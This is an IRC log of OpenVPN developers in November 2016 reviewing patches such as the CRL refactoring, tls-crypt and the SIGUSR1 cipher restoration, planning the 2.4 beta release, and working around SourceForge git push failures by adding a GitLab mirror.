<https://github.com/OpenVPN/openvpn/commit/1ce0638627eb35631af9bfaa569468573568ec65> || Move private file access checks to options_postprocess_filechecks() <https://github.com/OpenVPN/openvpn/commit/825e2ec1f358f2e81b623f2770fbbf76748b0739> 16:26 * dazo wonders which supported OpenVPN platforms stat() might be lacking on ..... 16:32 <@syzzer> \o/ 16:34 <@dazo> syzzer: the "Move private file access checks" might cause you a slight challenge though, but it's just too nice clean-up to postpone :) .... I'm working on a patch now to migrate warn_if_groups_other_accessible() into check_file_access() 16:34 <@syzzer> dazo: yeah, agreed. I'll manage with 2/5 :) 16:35 * dazo decides to ditch #ifdef HAVE_STAT 16:35 <@dazo> it's enough with #ifndef _WIN32 16:37 <@syzzer> we have plaform_stat() for windows, right? 16:38 <@dazo> oh! we do! 16:39 <@dazo> silly of me not checking that 16:40 <@dazo> thx! 16:40 <@syzzer> yw :) 16:40 * dazo kills #ifndef _WIN32 too 18:25 <@dazo> hmmm .... --tls-remote, --compat-names and --no-name-remapping are deprecated. Reverting these options will be quite intrusive, so wondering to just remove --tls-remote for 2.4, then --compat-names and --no-name-remapping for v2.5. 18:25 <@dazo> The reason is that those two last ones will most likely have a direct impact on existing scripts and --plugins, while --tls-remote just needs to be updated to use --verify-x509-name instead 18:26 * dazo will sleep on that 18:29 <@dazo> 8 files changed, 19 insertions(+), 239 deletions(-) 19:12 < slypknot> 239 deletions .. 19:34 < slypknot> Two Hundred .. and thirty nine .. deletions 22:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 22:37 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 22:37 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Tue Nov 15 2016 02:24 <@cron2> mornin 02:25 <@cron2> dazo: all plattforms we support have stat(). fstat() and lstat() *may* be missing on the more weird ones 02:30 <@cron2> which patch was that, with 239 deletions? 02:39 <@cron2> mattock: we need to add windows testing on 32bit windows 02:39 <@cron2> #758 02:40 <@cron2> ("we could have found that ourselves") 02:41 <@cron2> mmh. Someone broke my nice _WIN32 patch 02:45 <@mattock> cron2: I don't have Windows 32-bit, but the Powershell test suite is easy enough to use for anyone to setup 02:46 <@mattock> and use 02:47 <@cron2> I have a Win7/32 installation on real hardware... a bit annoying for regular tests, but for occasional ones, good enough 02:47 <@mattock> ok, good 02:48 <@mattock> I can provide you with a run.ps1 that includes t_client servers 02:48 <@mattock> including the addresses to ping 02:48 <@mattock> ipv4 + ipv6 02:48 <@cron2> cool 02:48 <@cron2> "yes, please" :) 02:48 <@mattock> :) 02:54 <@cron2> dazo: I've broken your patch :) 02:57 <@vpnHelper> RSS Update - gitrepo: Replace WIN32 by _WIN32 <https://github.com/OpenVPN/openvpn/commit/445b192a7c31187c7b5c66c8250a1886b04a2b2c> 02:58 <@mattock> cron2: run.ps1 on your way 02:58 <@mattock> I will split now but will be back in <1 hour 02:59 <@cron2> mattock: thanks. Can't run it from here - machine in question is at home, and hard off 03:00 <@mattock> yeah, no hurry 03:00 <@mattock> however, running the tests tomorrow prior to the release would be good of course 03:00 <@cron2> if more people use it, we need to have dedicated keys 03:00 <@mattock> yeah, definitely 03:01 <@cron2> I bump into conflicts with some of my buildslaves regularily :-) - I commit somethnig, then go test the next patch, and all of a sudden t_client fails... 03:02 <@mattock> fails due to what? 03:02 <@cron2> certificate conflict 03:02 <@mattock> ah 03:02 <@cron2> same test run against the same server from two different clients 03:02 <@mattock> yes 03:03 <@mattock> so let's setup dedicated "manual testing keys" before 2.4.0 03:06 <@mattock> cron2: when you run run.ps1, you should notice that the first IPv6 ping tests work, but all subsequent ones fail 03:09 <@cron2> which is actually strange (I can see that it fails to re-install the route when it's already there, but hey, it's already *there*). Need to look into this 03:09 <@cron2> but not now... paying customer is waiting since a few weeks for me to do something, and is getting impatient 03:58 <@dazo> cron2: which patch broke? how? 03:58 <@cron2> your patch has "-#ifndef WIN32" 03:59 <@cron2> this line does not exist anymore ;-) 03:59 <@dazo> huh? In options.c? 03:59 <@cron2> yep 03:59 <@cron2> it's now "#ifndef _WIN32" 03:59 * cron2 ducks 04:00 <@dazo> I struggled with that one when doing the "remove 2 lines" stuff .... and I applied what was in syzzer's patch, which was WIN32 04:00 <@cron2> all fine :-) - just mocking you a bit 04:00 <@cron2> since you & syzzer broke my WIN32->_WIN32 patch by just moving one of the lines from misc.c->options.c :-) 04:01 <@dazo> ahh, yeah 04:01 <@cron2> one can not even argue that "this is all because our review process takes too long!" - it's just "busy folks!" 04:02 <@dazo> yeah ... okay, your patch was written before we applied the patch from syzzer (which used WIN32 and moved things around), so when you tried to add your WIN32 -> _WIN32 afterwards, it broke ... right? 04:02 <@cron2> sure 04:03 <@dazo> ahh, okay .... now I feel far better ... so it wasn't *my* fault at all ;) 04:03 <@cron2> of COURSE it was!! the patch applied perfectly before *YOU* pushed!!! 04:03 <@cron2> :) 04:04 <@dazo> lol 04:04 <@dazo> git push trumps anything! :-P 04:04 <@cron2> ... except "git push -f" ;-) 04:05 <@cron2> anyway, that small breakage is easily fixed before "git ack-am" (just edit the input file to make the _WIN32 change) :-) 04:05 <@dazo> :) 04:11 < sagatak> morning 04:11 * sagatak waves to dazo cron2 04:13 <@d12fk> oh 4/7 applied. is this 2.4 or have you forked a release branch 04:13 <@cron2> dazo said that this is good enough... 04:13 <@dazo> d12fk: it's still in git master ... forking happens in December 04:14 <@cron2> (and I do agree, it's basically just moving out code and adjusting a few callers) 04:14 <@dazo> d12fk: cron2 thought 1-3 was good, I said 4 can go too ...but 5-7 needs some more work 04:15 <@dazo> cron2: you need to update your ackers.lst .... My ACKs have the wrong e-mail ;-) 04:15 <@dazo> *finally* I manage to find a mistake at cron2's work too! :-P 04:17 <@d12fk> i'll take care of 5-7, just need to find time to do so... =/ 04:20 <@cron2> dazo: oops 04:21 <@cron2> it's not like you're the only one with a second mail address in there already :) 04:21 <@cron2> dazo=David Sommerseth <davids@redhat.com> 04:21 <@cron2> #dazo=David Sommerseth <dazo@users.sourceforge.net> 04:21 <@dazo> openvpn.net is the proper one now :) 04:21 <@cron2> done 04:21 <@dazo> thx! 04:25 <@dazo> btw ... the users.sf.net address can be completely deleted. I only received spam from that address, so I've disabled mail forwarding on that address .... so not in use any more 04:25 <@dazo> (which is what our .mailmap also reflects) 06:39 <@dazo> cron2: just noticed your question regarding patch with 239 deletions ... not sent to ML ... but here's a working copy of it: https://paste.fedoraproject.org/481844/14792132/ 06:40 <@dazo> cron2: I'll rework that into just removing tls-remote for 2.4 06:53 <@cron2> ah - "not on ML" explains why :-) 07:47 <@dazo> 4 files changed, 15 insertions(+), 97 deletions(-) .... that's more a reasonable change to get into 2.4 :) 07:48 <@dazo> (just sent to ML) 07:57 <@dazo> w00t!?! buildbot failre on osx .... 07:57 <@dazo> down-root.c:163:13: warning: 'daemon' is deprecated: first deprecated in macOS 10.5 - Use posix_spawn APIs instead. [-Wdeprecated-declarations] 07:58 <@dazo> /usr/include/stdlib.h:267:6: note: 'daemon' has been explicitly marked deprecated here 07:59 <@dazo> hmmm .... maybe have another re-look at the down-root plug-in again is required :/ 08:10 <@cron2> ignore that 08:10 <@cron2> (this is just a warning, and not the reason for failure) 08:13 < danhunsaker> OK, so that's some serious deja-vu. 08:13 <@dazo> yeah, but it's interesting that daemon() is deprecated 08:13 < danhunsaker> Brief enough to be absolutely useless, but still deja-vu. 08:13 <@dazo> c'mon, danhunsaker! 08:13 * dazo tries to jinx the deja-vu :-P 08:14 < danhunsaker> Heh. 08:14 < danhunsaker> Matrix glitch complete. Changes undetected. 08:14 < danhunsaker> Have a nice day! 08:14 <@dazo> lol 08:16 <@ecrist> cron2: was there a trac ticket for the freebsd 8.4 build issue? Did you update it, or should I? 08:21 <@cron2> ecrist: no ticket, as it's not an "OpenVPN" issue but a "FreeBSD port thing" - and since 8.4 is EOL, I decided to not raise formal trac/PR/... anything 08:37 <@mattock> cron2: any recollection how the "= in directory name" problem was solved? 08:38 <@mattock> for the buildslaves 09:27 <@cron2> mattock: as far as I'm aware, this is the first install where this happens 09:27 <@cron2> it only manifests if cmocka/cmake are used 09:30 <@mattock> hmm 09:30 <@mattock> building windows installers with openssl-1.0.2i seems to work 09:31 <@mattock> I will run the produced binaries through the powershell tests to make sure nothing is horribly off 09:32 <@cron2> cool 09:32 <@cron2> "more tickets to close" :) 09:32 <@cron2> (normally, nothing should break, but then... windows...) 10:45 <@syzzer> cron2: fyi - I *am* going to propose to enable --multihome by default on linux, when I send a recvmmsg()/sendmmsg() patch set. 10:46 <@syzzer> (definitely not for 2.4, though) 10:59 <@cron2> syzzer: I'm not going to object to that, because it brings advantages 11:00 <@cron2> (since my buildbots are actually testing --multihome nowadays, the chance that we manage to actually keep it working across all supported platforms is higher than it was :) ) 13:06 <@syzzer> hrmpf, our username/password authentication code is almost impossible to understand... :/ 13:58 <@vpnHelper> RSS Update - tickets: #769: windows binaries auto-updater <https://community.openvpn.net/openvpn/ticket/769> 14:30 <@syzzer> dazo: after looking at it some more, I think we should postpone the AUTH_FAILED patches... 14:31 <@syzzer> this code is already very intertwined, and pulling struct context to even these pieces of code that have been kept clear of it does not make it any better 14:33 <@syzzer> the scheduling mechanism seems to be the main problem here 14:36 <@syzzer> we might be able to get around that though, because I don't think we really need to SIGTERM the instance if we send an AUTH_FAILED 14:37 <@syzzer> anyway, I think this is worth *really* figuring out what is needed here, and then fix the code while preferably making it less intertwined, instead of more intertwined 14:38 <@syzzer> and, last but not least, you were right that the current patch set - without the AUTH_FAILED - will eventually time out and reconnect. So while not elegant, it will work without the AUTH_FAILED patches. 14:44 <@vpnHelper> RSS Update - tickets: #770: OpenVPN AS ca / cert / key configuration to support RTF encoding <https://community.openvpn.net/openvpn/ticket/770> 14:54 <@dazo> syzzer: according to James, this is how it is supposed to work (SIGTERM on AUTH_FAILED), and it is what OpenVPN Connect/OpenVPN 3 is designed to work. A client should do a full re-init + re-connect on any AUTH_FAILED 14:55 <@dazo> yes, we have something which kind of works ... these two last patches just makes it work according to James spec 14:56 <@dazo> OpenVPN Connect will also show the messages provided via my patches properly in the UI too 16:25 < ValdikSS> Sup guys, should 2.3.12 correctly work with systemd password prompt for pkcs11? 16:26 < ValdikSS> OpenVPN visually hangs on connect, strace shows that it tries to run /usr/bin/systemd-ask-password 16:51 < ValdikSS> https://community.openvpn.net/openvpn/ticket/538 — this. Not fixed, at least not on Fedora 23. 16:51 <@vpnHelper> Title: #538 (no PIN prompt with PKCS11 when systemd is enabled) – OpenVPN Community (at community.openvpn.net) 20:22 <+krzee> since we're making default crypto changes can we make topology subnet default too?/ 20:23 <+krzee> (in 2.4) 20:23 <+krzee> it really is time! 21:38 < danhunsaker> Time? Well past that! --- Day changed Wed Nov 16 2016 01:46 <@cron2> krzee: unfortunately, no. Changing defaults will break people's configs 01:58 <@cron2> ValdikSS: the ticket does not claim it's fixed, so it would be surprising if it were... 02:20 <@mattock> cron2: https://community.openvpn.net/openvpn/ticket/771 02:20 <@vpnHelper> Title: #771 (Adding IPv6 routes may fail on Windows if openvpn.exe has not been shut down gracefully) – OpenVPN Community (at community.openvpn.net) 02:20 <@mattock> we need to do something about that 02:21 <@mattock> maybe not in 2.4_beta1, but 2.4_rc1 I think 02:25 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Ping timeout: 260 seconds] 02:25 <@vpnHelper> RSS Update - tickets: #771: Adding IPv6 routes may fail on Windows if openvpn.exe has not been shut down gracefully <https://community.openvpn.net/openvpn/ticket/771> 02:48 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 02:48 -!- mode/#openvpn-devel [+o cron2] by ChanServ 02:48 <@cron2> *sigh*... hardware... 02:50 <@mattock> so where are we at release-vise? 02:51 * cron2 opts for "postpone 1 or 2 days" 02:51 <@cron2> syzzer wants tls-crypt in, but 2/5 v3 is missing an ACK from plaisthos 02:57 <@mattock> release on tomorrow would work for me, but Friday would be challenging 02:59 <@cron2> syzzer, plaisthos: *wave* 03:17 <@syzzer> cron2: *wave* 03:23 <@cron2> so what are we going to do? 03:23 <@syzzer> I'd love to get tls-crypt (and the CRL patch) in 03:24 <@cron2> and we're close 03:25 <@mattock> the only thing really missing at my end is new openvpnserv2 with exit-event, which is tagged "must have" 03:25 <@syzzer> wrt tls-crypt, we could either wait one more day for plaisthos, or see if someone else can verify that my update and responses sufficiently answer his questions/concerns 03:25 <@mattock> right now I'm testing chipitsine's combined 32/64-bit Windows installer patch to see if we could get it in 03:26 * cron2 goes review CRL. One of you could mail plaisthos to remind him "when you wake up..." :) 03:26 <@mattock> plus there are plenty of openvpn-gui improvements (https://github.com/OpenVPN/openvpn-gui/pulls) in the pipeline, but they are loosely coupled with openvpn releases anyways 03:26 <@vpnHelper> Title: Pull Requests · OpenVPN/openvpn-gui · GitHub (at github.com) 03:28 <@cron2> + mbedtls_x509_crl_free(ctx->crl); 03:28 <@cron2> + if (ctx->crl) 03:28 <@cron2> + { 03:28 <@cron2> + free(ctx->crl); 03:28 <@cron2> + } 03:28 <@cron2> syzzer: if ctx->crl is NULL, why call _crl_free() on it? this sequence of calls/checks looks a bit funny 03:29 <@cron2> (most likely it's harmless, but I could imagine Coverity getting all upset about it...) 03:30 <@syzzer> cron2: actually free() is defined to be a no-op if called with NULL, so this whole check is unneccesary... 03:31 <@syzzer> (as is mbedtls_x509_crl_free()) 03:33 <@syzzer> so, harmless, but I'm fine with changing this to just the free() call 03:33 <@cron2> so indeed, room for cleanup - though not something that should hold up the patch 03:35 <@cron2> the openssl implementation also has some nag bits in 03:35 <@cron2> + msg (M_WARN, "CRL: cannot read CRL from file %s", crl_file); 03:35 <@cron2> ... which could be thrown if there is a corrupt inline-crl... 03:36 <@cron2> but this is still safe code, just "possibly confusing message" 03:36 <@syzzer> I mailed plaisthos 03:37 <@syzzer> cron2: that will should 'could not read CRL from [[INLINE]]' (or somehting like that) 03:37 <@syzzer> hrmpf, that will *show* 03:38 <@cron2> it will show "cannot read CRL from file [[INLINE]]", which is good enough 03:38 <@syzzer> (and I think it's a copy-paste from the current code) 03:38 <@cron2> the tls_verify_crl_missing() check will lead to "client is rejected"? 03:42 <@syzzer> cron2: yes 03:49 <@cron2> so where's dazo... 03:52 * dazo ducks 03:52 <@dazo> alright ... ready for 2.4_beta1? 03:53 * dazo catches up on latest ML events 03:55 <@dazo> cron2: could we have a quick evaluation of removing --tls-remote? 03:56 <@dazo> then there's my v2 of tun.c cleanup 03:56 <@cron2> dazo: not ready for 2.4_beta1, as tls-crypt 2/2 v3 is missing an ACK 03:56 <@dazo> merging of warn_if_group_others_accessible() 03:56 <@dazo> cron2: no, not --tls-crypt .... --tls-remote 03:57 <@dazo> --tls-remote is not related to --tls-crypt at all 03:57 <@cron2> yes, tls-crypt :-) - syzzer wants that in 03:57 <@syzzer> dazo: I'll take the warn_if_* patch, just need to do some payed-for things first 03:57 <@dazo> syzzer: thx! 03:58 <@dazo> any objections if we pull in the v3 of systemd units as it is now? ... and we can add Restart= stuff before RC 03:58 <@dazo> "Remove unneeded check for extra_certs_file_inline" ... I can have a look at this one 03:58 <@dazo> And then there is "Fix missing return value checks in multi_process_float()" 03:59 <@dazo> plus the poor man's- CP 03:59 <@dazo> oh, and "Restore pre-NCP cipher options on SIGUSR1" is fairly important 04:00 <@mattock> dazo: if the systemd scripts got an ACK, then there is no reason to push more stuff into the patch right now 04:00 <@mattock> our commit count is not limited, afaik :D 04:00 <@cron2> dazo: go for the systemd units file - it's not core code, and it has been extensively tested 04:00 <@dazo> goodie, I'll just skip ACKs on that one 04:00 <@cron2> so "it has been tested and has been out there for people to look at" is good enough 04:01 <@dazo> "Document the --auth-token option" ... that's just man page, non-critical can wait though 04:01 <@mattock> so this is clearly an ACK from cron2 to the systemd patch :P 04:01 <@cron2> ACK :) 04:01 <@mattock> Will-take-responsibility-by: Gert Doering 04:01 <@dazo> lol 04:02 <@dazo> nah, I'll be nice and won't throw him under that bus :) 04:04 <@syzzer> cron2 takes reposibility for systemd? 04:05 < danhunsaker> He can have it. 04:05 < danhunsaker> Not sure anyone else wants it. 04:08 <@dazo> danhunsaker: I don't mind having that responsibility .... but can't ACK my own patches :) 04:08 <@cron2> syzzer: as for the SIGUSR1 patch. I'm not sure I fully grok that one - have a minute? 04:10 <@syzzer> cron2: ah, the pre-ncp ? 04:10 <@cron2> right 04:11 <@syzzer> yeah, this is a bit tricky indeed 04:11 <@cron2> so pushing "cipher foo" changes options->cipher, right? 04:11 <@cron2> (push-receiving, that is) 04:11 <@syzzer> yes, the client-specific options->cipher 04:11 <@cron2> well, options->cipher on the client process 04:12 <@syzzer> uh, right, we're talking client-side here 04:12 <@cron2> so you store away all the "options->" stuff in c->c1.x "because that's a convenient place"? 04:12 <@cron2> or because it's also needed for the server end? 04:12 <@cron2> ah 04:12 <@cron2> damn 04:12 <@cron2> this is all entangled client/server again 04:13 <@cron2> first, understand client side now 04:13 <@syzzer> becasue "Level 1 %context containing state that persists across \c SIGUSR1 * restarts. 04:13 <@cron2> config file initializes "options", we save that away to c1.<option>, and PUSH_REPLY reception will overwrite option.<option> - right? 04:14 <@syzzer> we want this to persist across SIGUSR1, so c1 is the place 04:14 <@syzzer> cron2: exactly 04:14 <@cron2> ok, so when reconnecting, we reset options.<thing> to c->c1.<thing>, because c1.<thing> is persistant 04:14 <@syzzer> indeed 04:15 <@cron2> is c1 persistant "forever"? what happens when moving to a new <connection> block? 04:15 <@cron2> so, full reconnect, possibly to a new remote? 04:16 <@syzzer> either that is a SIGHUP, c1 is destroyed and everything starts from scratch 04:16 <@syzzer> (which I believe is the case) 04:16 <@syzzer> or, c1 is not destroyed and we reset the pre-ncp ciphers properly 04:16 <@cron2> if c1 is destroyed, would the "Re-using SSL/TLS context" part be executed? 04:17 <@cron2> (beforehand, always) 04:17 * cron2 wonders if there are event sequences that would not lead to restoring of c->options.<thing> 04:17 <@syzzer> yeah, that is the important question 04:18 <@syzzer> but I have to dive in again - it's been too long :( 04:24 <@dazo> [ACK] Remove unneeded check for extra_certs_file_inline 04:25 <@cron2> dazo: go ahead and merge, I have nothing in my tree right now 04:26 <@cron2> waiting for deeper understanding on the NCP/SIGUSR1 patch, then I'll call :) 04:26 <@cron2> (and while at it, I've sent an ACK for the CRL patch) 04:26 <@dazo> I've piled up a few already ... I'm reviewing "Fix missing return value checks in multi_process_float()" now 04:27 * dazo waits with sending mails until I've done the push 04:27 <@cron2> good :) - I'll ask before starting 04:27 < danhunsaker> dazo: Fair enough. Keep forgetting you're that flavor of masochist. 04:27 * dazo finds the whip 04:28 <@dazo> danhunsaker: the more time I spend using EL7 and systemd ... the more I like it .... it makes my sys-admin tasks so much easier when I first grok the new toolbox 04:34 < danhunsaker> I just want it to be a bit more mature before we switch *everything* over to it. 04:34 < danhunsaker> Not SysV mature. Just ... more than it is now. 04:35 < danhunsaker> I don't mind switching to newer, better stuff. I do mind losing features in the process. 04:35 <@dazo> danhunsaker: on Fedora 21+ and RHEL7 (& clones) it has been very stable to me .... but I have very limited experience on the other distros 04:37 < danhunsaker> Yeah, it's not stable I've had trouble with. It's feature breadth. It's nearly there; just needs a bit more love to work well outside the EL7 universe. 04:37 <@dazo> :) 04:38 < danhunsaker> Anyway. Tangent achieved. Next up is attempting sleep, yet again. 04:38 <@dazo> :) 04:39 <@dazo> [ACK] Fix missing return value checks in multi_process_float() 04:39 <@cron2> whee! 04:40 <@dazo> $ git shortlog stable/master..HEAD 04:40 <@dazo> David Sommerseth (1): 04:40 <@dazo> systemd: Improve the systemd unit files 04:40 <@dazo> Steffan Karger (3): 04:40 <@dazo> Refactor CRL handling 04:40 <@dazo> Remove unneeded check for extra_certs_file_inline 04:40 <@dazo> Fix missing return value checks in multi_process_float() 04:41 <@cron2> time to push and see if that explodes anything :) 04:41 <@syzzer> \o/ 04:41 <@mattock> I'll be back in <3 hours 04:44 <@dazo> mattock is in luuuve :-p 04:45 * dazo pushes 04:45 * danhunsaker detonates 04:46 <@dazo> eek ... something exploded here 04:47 <@dazo> wtf!? I don't have privileges pushing to sf.net? 04:48 <@dazo> error: insufficient permission for adding an object to repository database ./objects 04:48 <@cron2> why does it always rain on me... *sing* 04:49 <@dazo> github push is okay, though 04:49 <@vpnHelper> RSS Update - gitrepo: Fix missing return value checks in multi_process_float() <https://github.com/OpenVPN/openvpn/commit/b59fc7f42137a0474c069ab226c4d67c148e504f> || Remove unneeded check for extra_certs_file_inline <https://github.com/OpenVPN/openvpn/commit/8d5b06e6fc46e214e1498352603a95028aa5c113> || Refactor CRL handling <https://github.com/OpenVPN/openvpn/commit/160504a2955c4478cd2c0323452929e07016a336> || systemd: Improve th 04:49 < danhunsaker> Apparently. 04:56 <@cron2> I think our buildbot still uses sf.net, though... 05:04 <@dazo> And I think sf.net is broken .... 05:04 <@dazo> the error message have even changed .... 05:04 <@dazo> fatal: '/p/openvpn/openvpn' does not appear to be a git repository 05:07 <@dazo> anonymous (git:) and http 'git clone' works ... but not ssh 05:07 * dazo tries to push via https 05:08 <@dazo> nope, that failed :/ 05:11 <@dazo> hmmm ... that's suspicious .... sf.net shell .... /home/scm_git/o/op/openvpn ... openvpn.git is a symlink to a directory which does not exist :/ 05:12 <@dazo> cron2: can you try to pull the github tree and push it to sf.net? 05:59 * dazo reported the issue to sf.net support desk 06:12 <@cron2> dazo: I'm not sure. My working "master" branch is based on sf testing/master, so it won't even tell me there's new stuff in the github repo 06:13 <@cron2> I have fetched github, but how do I push that to sf? 06:20 <@syzzer> git push <remote_name> <branch_name> 06:21 <@cron2> so that would be "git push testing remotes/github/master" to push github/master to a repo called "testing"? 06:21 <@syzzer> or, git push <remote_name> <local_branch_name>:<remote_branch_name> 06:21 <@cron2> git push testing remotes/github/master:master 06:21 <@syzzer> "git remote -v" shows you the remotes with their names 06:22 <@syzzer> yes, I think that will work 06:22 <@cron2> error: insufficient permission for adding an object to repository database ./objects 06:22 <@cron2> dazo: it's not you :) 06:24 <@cron2> syzzer: shall we go ahead with the SIGUSR1 patch? 06:24 <@syzzer> cron2: yes, sure 06:27 <@cron2> ok, so - "is there any code path after a connection attempt that will *not* go through "Re-using SSL/TLS context" before reconnecting somewhere? 06:27 <@cron2> (which is the question on whether this is sufficient in all cases, or whether we're missing edge cases) 06:28 <@syzzer> cron2: --remap-sigusr1 SIGHUP would change the reusing to a full reinit 06:29 <@cron2> so what happens then? c->options.<thing> gets lost? 06:29 <@syzzer> yep, it re-reads the config file 06:29 <@syzzer> so 'fresh start' 06:29 <@cron2> oh 06:29 <@cron2> I wasn't aware that openvpn would ever do that 06:29 <@cron2> wtf 06:30 <@syzzer> amazing, isn't it? 06:30 <@syzzer> oh, the options is called --remap-usr1 06:30 <@cron2> I'm aware of that option, but had no idea about the consequences 06:30 <@cron2> good, so the 2nd hunk is settled 06:30 <@cron2> what about the third one 06:30 <@cron2> + /* inherit pre-NCP ciphers */ 06:30 <@cron2> + dest->c1.ciphername = src->c1.ciphername; 06:31 <@cron2> this looks like it's needed for the server side 06:31 <@syzzer> this is 'from the global context, create a child context' 06:31 <@syzzer> indeed, this is p2mp 06:32 <@syzzer> and we need this if the client downgrades, or disables ncp before reconnecting 06:33 <@syzzer> (or actually, we need to other stuff, but this hunk makes it work server-side) 06:33 <@cron2> so the flow of info is 06:33 <@cron2> config.ciphername <- set by config 06:33 <@cron2> c->c1.ciphername = options->ciphername <- saved away 06:33 <@cron2> dest->c1.ciphername = src->c1.ciphername <- copy to child context 06:33 <@cron2> NCP runs, sets "o->ciphername" - that would be "options.ciphername"? 06:34 <@syzzer> yes, indeed (in p2mp, the client-specific o->ciphername) 06:34 <@cron2> ok 06:34 <@cron2> so does that need restoration, or is the client context destroyed anyway when the client reconnects? 06:35 <@syzzer> it depends 06:35 <@syzzer> on a regular reconnect, it needs restoration 06:35 <@syzzer> but at some point the server will entire close the instance, which doesn't need restoration 06:35 <@cron2> that would be like a TLS renegotiation due to reneg-bytes? 06:36 <@syzzer> yes, or just the client hanging up (without explicit-exit-notify) and reconnecting 06:36 <@cron2> oh, that's "keep the instance"? 06:36 <@cron2> ok, in that case I can see why this is needed - it also enters "Re-using SSL/TLS context", restores (child)->options.ciphername from (child)->c1.ciphername, and is "reset to config values" 06:37 <@cron2> right? 06:37 <@syzzer> the server keeps the instance, unless the client sends an explicit-exit-notify, or something goes (quite) wrong in the handhsake, or some timeout triggers 06:37 <@syzzer> cron2: indeed 06:39 <@cron2> the code looks so harmless... 06:40 <@syzzer> yeah, this stuff is quite fragile :( 06:41 <@cron2> anyway 06:41 <@cron2> good enough 06:41 <@cron2> ACK! 06:41 <@cron2> dazo: ACK on the list, I leave the merging to you to avoid making a big mess out of the sf issue 06:42 <@syzzer> \o/ 06:42 <@cron2> thanks for the explanations 07:22 < slypknot> cron2: if you get a moment can you look at a freebsd problem i have : https://0paste.com/9562 07:23 < slypknot> tun92 works fine .. tun95 will not enable 07:24 < slypknot> # ifconfig tun95 -ifdisabled 07:24 < slypknot> ifconfig: ioctl(SIOCGIFINFO_IN6): Invalid argument 07:25 < slypknot> FYI: this works on 7 other lynux distros 07:30 * syzzer is working on his commit count O-) 07:41 <@cron2> slypknot: no idea - I never create tun interfaces beforehand, just tell openvpn "--dev tun95" 07:41 <@cron2> maybe there's an upper limit 07:41 <@cron2> it *should* worl 07:44 <@cron2> syzzer: that AEAD patch I do not understand 07:44 <@cron2> if you haven't built (and installed) the crypto library, there will not be something to check the function declaration against 07:45 <@syzzer> cron2: yes, there wil. The headers. 07:45 <@syzzer> what I typically do is 'configure mbedtls, configure openvpn, make everything' 07:45 <@cron2> ic... but why? 07:46 <@cron2> all the rest of the world does "build dependency (configure, make, make install) then build main program" 07:49 <@syzzer> hm, good question. I don't do 'make install', because I don't see the point of copying around files. But why I do configure-everything and then build-everything, I do not know :p 07:50 < slypknot> cron2: forget it .. i don't know why it did not work but I have fixed it I think ! 07:52 <@cron2> syzzer: maybe better parallelization... 07:53 < slypknot> I think /126 may have had something to do with it .. my IPv6 knowledge is probably not the same as actual implementations at this time 07:53 < slypknot> thanks anyway 07:53 <@syzzer> cron2: I think I know. I need to configure mbedtls and pkcs11-helper both first, because they have cross-dependencies. I probably extended that to all components. 08:15 <@mattock> ah, I found my debian packaging files for easy-rsa 08:16 <@mattock> took a bit of effort 08:31 <@mattock> ecrist: does easyrsa3 require openssl 1.x? 09:09 <@dazo> *sigh* sf.net do have troubles today .... 09:09 <@vpnHelper> RSS Update - gitrepo: Fix missing return value checks in multi_process_float() <https://github.com/OpenVPN/openvpn/commit/b59fc7f42137a0474c069ab226c4d67c148e504f> || Remove unneeded check for extra_certs_file_inline <https://github.com/OpenVPN/openvpn/commit/8d5b06e6fc46e214e1498352603a95028aa5c113> || Refactor CRL handling <https://github.com/OpenVPN/openvpn/commit/160504a2955c4478cd2c0323452929e07016a336> || systemd: Improve th 09:09 <@dazo> $ git push stable 09:09 <@dazo> You don't have an active shell at this time. For basic file transfers and 09:09 <@dazo> management, use web.sourceforge.net -- it allows rsync, sftp, and scp access. 09:16 <@dazo> [applied] Restore pre-NCP cipher options on SIGUSR1 09:16 <@dazo> [reviewing] Remove unused variables from do_init_crypto_static() 09:19 <@dazo> [ACK] Remove unused variables from do_init_crypto_static() 09:21 * dazo pushed again .... sf still failing, github up-to-date 09:26 <@vpnHelper> RSS Update - gitrepo: Remove unused variables from do_init_crypto_static() <https://github.com/OpenVPN/openvpn/commit/4066f1ce602c2404fa4d80ba237e9d24d79e26cd> || Restore pre-NCP cipher options on SIGUSR1 <https://github.com/OpenVPN/openvpn/commit/129d2924bb4179b7df4a157a0443c45f2279e92d> 09:33 <@cron2> cool 09:35 <@dazo> cron2: any chance you have time to review the v2 tun.c clean-up? 09:39 <@mattock> ecrist: I fixed a few issues in easyrsa3 while working on debian packaging: https://github.com/OpenVPN/easy-rsa/pull/114 09:39 <@vpnHelper> Title: Packaging fixes by mattock · Pull Request #114 · OpenVPN/easy-rsa · GitHub (at github.com) 09:39 <@cron2> dazo: has it been sent already? 09:40 <@cron2> not in my mailbox yet, but can review it tonight (and test-run on solaris) 09:40 <@dazo> cron2: yeah ... let me find it 09:40 <@dazo> 1479165185-11730-1-git-send-email-davids@openvpn.net ... http://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13063.html 09:40 <@vpnHelper> Title: [Openvpn-devel] [PATCH v2] tun: Fix compiler warnings (at www.mail-archive.com) 09:42 <@cron2> not here yet... strange. maybe I saved it away 09:42 <@cron2> last thing I have in the thread is 09:42 <@cron2> "Meh, this is just silly. This was actually fixed in my local git" 09:42 <@cron2> ah! 09:43 <@cron2> mutt sorted it further up than your reply, wtf... ok, there it is 09:43 <@cron2> will handle tonight (and send ACK, but not push) 09:44 <@dazo> thx! 09:44 <@dazo> cron2: I'm preparing a gitlab repo ... in case we end up abandoning sf.net ... just so we have multiple public trees which should always match 09:50 <@dazo> cron2: git remote add gitlab git@gitlab.com:openvpn/openvpn.git .... if you've added your ssh key to gitlab, you should have push access already 10:23 <@syzzer> wheee, ACK on tls-crypt \0/ 10:23 <@syzzer> thanks plaisthos! 10:28 <@cron2> dazo: no key on gitlab yet (do I even have an account there?), but "noting!" 10:29 <@cron2> dazo: wrt tun v2 patch - you need a spell checker *duck* 10:30 <@cron2> "idetified" .. "do not exclude open_tun_generic()" (s//include/) 10:34 <@cron2> ok, gitlab "sign in with google" works... uploading key 10:39 <@cron2> ok, gitlab/github verified, repos in sync 10:40 <@dazo> good :) 10:40 <@dazo> yeah, you should have enabled an account there already ... which is why I thought gitlab would be a reasonable alternative :) 10:40 <@cron2> if the line is too long, wrap it :-) - instead of introducing extra empty statements... 10:41 <@dazo> the wrapping would look nasty too 10:41 <@dazo> I tried that 